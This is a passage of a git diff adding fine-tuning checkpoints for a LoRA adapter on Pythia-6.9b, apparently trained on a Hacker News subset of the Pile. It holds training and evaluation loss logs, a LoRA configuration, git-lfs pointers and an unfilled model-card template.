6.0, + "grad_norm": 2.814183473587036, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.7888, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.7924447059631348, + "eval_runtime": 43.9915, + "eval_samples_per_second": 22.732, + "eval_steps_per_second": 2.841, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.243612051010132, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.6686, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.8807199001312256, + "eval_runtime": 44.1448, + "eval_samples_per_second": 22.653, + "eval_steps_per_second": 2.832, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 4.4918212890625, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.6355, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.8911144733428955, + "eval_runtime": 44.0372, + "eval_samples_per_second": 22.708, + "eval_steps_per_second": 2.839, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.3523900508880615, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.6453, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.865966320037842, + "eval_runtime": 43.9698, + "eval_samples_per_second": 22.743, + "eval_steps_per_second": 2.843, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 3.544044256210327, + "learning_rate": 2.192592592592593e-05, + "loss": 1.6883, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.878653049468994, + "eval_runtime": 44.0273, + "eval_samples_per_second": 22.713, + "eval_steps_per_second": 2.839, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 3.418917179107666, + "learning_rate": 2.074074074074074e-05, + "loss": 1.713, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.876905679702759, + "eval_runtime": 44.0776, + "eval_samples_per_second": 22.687, + "eval_steps_per_second": 2.836, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.6384103298187256, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7537, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.868889808654785, + "eval_runtime": 43.8586, + "eval_samples_per_second": 22.801, + "eval_steps_per_second": 2.85, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.4803755283355713, + "learning_rate": 1.837037037037037e-05, + "loss": 1.6911, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.8681321144104004, + "eval_runtime": 43.8953, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.2173774242401123, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6429, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.8997802734375, + "eval_runtime": 43.9304, + "eval_samples_per_second": 22.763, + "eval_steps_per_second": 2.845, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9753201007843018, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.5879, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 2.9484663009643555, + "eval_runtime": 44.0868, + "eval_samples_per_second": 22.683, + "eval_steps_per_second": 2.835, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.7597460746765137, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.5518, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 2.9290659427642822, + "eval_runtime": 44.0216, + "eval_samples_per_second": 22.716, + "eval_steps_per_second": 2.84, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.463420391082764, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6113, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 2.9443466663360596, + "eval_runtime": 43.9335, + "eval_samples_per_second": 22.762, + "eval_steps_per_second": 2.845, + "step": 560 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 9.17620031225856e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..17c7e6e3fdac2a7e5cf6d5f984b618ca6d76ba7b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c9ea8d1cf305454d2a8d5e18cff17cea20ba0bb8f31ea209b67cc46287b5faa3 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..a674168edbcf845ea3b36bdc59391e8085b908c9 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fda6f243379f58b6cac73f7fb89e43c556b8e4b023a3d84717f4ce5adba12312 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..3ed38f9a78b3dbf6f2e73e5bd68681ac198b1983 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d966d92a47b281ed57ee7f44ee2eaa60a54786f7ca9b7e8829ab8723bc8a5a1d +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..0f6ab5a4a6c1c8537d29396d68ff9a943067c8eb --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6a34ac3e6b737b225204c7a1c95f58427255f84b0986866cdac344b9d5ba4319 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..8860aa364a746cbaad79ea9d16473810e2d579b3 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/trainer_state.json @@ -0,0 +1,888 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 7.6, + "eval_steps": 10, + "global_step": 570, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 2.814183473587036, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.7888, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.7924447059631348, + "eval_runtime": 43.9915, + "eval_samples_per_second": 22.732, + "eval_steps_per_second": 2.841, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.243612051010132, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.6686, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.8807199001312256, + "eval_runtime": 44.1448, + "eval_samples_per_second": 22.653, + "eval_steps_per_second": 2.832, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 4.4918212890625, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.6355, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.8911144733428955, + "eval_runtime": 44.0372, + "eval_samples_per_second": 22.708, + "eval_steps_per_second": 2.839, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.3523900508880615, + "learning_rate": 2.3111111111111112e-05, + "loss": 